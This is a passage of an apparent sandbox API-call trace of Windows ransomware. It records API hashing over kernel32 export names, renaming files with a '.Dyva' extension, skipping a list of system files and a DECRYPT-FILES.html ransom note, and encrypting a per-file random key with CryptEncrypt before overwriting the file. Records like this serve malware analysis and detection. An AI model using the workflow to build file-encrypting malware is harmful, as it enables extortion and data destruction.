[0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0139.599] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0139.599] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0139.599] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0139.599] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0139.599] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0139.599] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0139.599] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0139.599] lstrlenA (lpString="COPYCONTEXT") returned 11 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0139.599] lstrlenA (lpString="COPYFILE2") returned 9 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0139.599] lstrlenA (lpString="COPYFILEA") returned 9 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0139.599] lstrlenA (lpString="COPYFILEEXA") returned 11 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0139.599] lstrlenA (lpString="COPYFILEEXW") returned 11 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0139.599] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0139.600] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0139.600] lstrlenA (lpString="COPYFILEW") returned 9 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0139.600] lstrlenA (lpString="COPYLZFILE") returned 10 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0139.600] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0139.600] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0139.600] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0139.600] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0139.600] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0139.600] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0139.600] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0139.600] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0139.600] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0139.600] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0139.600] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0139.600] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0139.600] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0139.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0139.601] lstrlenA (lpString="CREATEEVENTA") returned 12 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0139.601] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0139.601] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0139.601] lstrlenA (lpString="CREATEEVENTW") returned 12 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0139.601] lstrlenA (lpString="CREATEFIBER") returned 11 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0139.601] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0139.601] lstrlenA (lpString="CREATEFILE2") returned 11 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0139.601] lstrlenA (lpString="CREATEFILEA") returned 11 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0139.601] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0139.601] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0139.601] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0139.601] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0139.601] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0139.601] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0139.601] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0139.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0139.602] lstrlenA (lpString="CREATEFILEW") returned 11 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0139.602] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0139.602] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0139.602] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0139.602] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0139.602] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0139.602] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0139.602] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0139.602] lstrlenA (lpString="CREATEJOBSET") returned 12 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0139.602] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0139.602] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0139.602] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0139.602] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0139.602] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0139.602] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0139.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0139.602] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0139.603] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0139.603] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0139.603] lstrlenA (lpString="CREATEPIPE") returned 10 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0139.603] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0139.603] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0139.603] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0139.603] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0139.603] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0139.603] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0139.603] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0139.603] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0139.603] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0139.603] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0139.603] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0139.603] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0139.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0139.604] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0139.604] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0139.604] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0139.604] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0139.604] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0139.604] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0139.604] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0139.604] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0139.604] lstrlenA (lpString="CREATETHREAD") returned 12 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0139.604] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0139.604] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0139.604] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0139.604] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0139.604] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0139.604] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0139.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0139.604] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0139.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0139.605] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\eula.rtf.Dyva") returned 40 [0139.605] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.Dyva" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.dyva"), dwFlags=0x0) returned 1 [0139.606] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.606] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.607] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.607] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0139.607] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0139.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.607] lstrlenW (lpString="LocalizedData.xml") returned 17 [0139.607] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2070\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0139.607] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" [0139.607] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0139.608] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=80254) returned 1 [0139.608] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0139.608] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0139.803] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0139.803] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0139.803] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0139.804] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0139.804] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0139.806] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.806] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0139.807] CloseHandle (hObject=0x5f8) returned 1 [0139.807] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.807] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0139.808] CloseHandle (hObject=0x0) returned 0 [0139.808] CloseHandle (hObject=0x5f4) returned 1 [0139.809] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.809] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.810] GetTickCount () returned 0x38444 [0139.810] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.810] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0139.810] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0139.810] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.810] lstrlenA (lpString="kernel32.dll") returned 12 [0139.811] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0139.811] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0139.811] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0139.811] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0139.811] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0139.811] lstrlenA (lpString="ADDATOMA") returned 8 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0139.811] lstrlenA (lpString="ADDATOMW") returned 8 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0139.811] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0139.811] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0139.811] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, 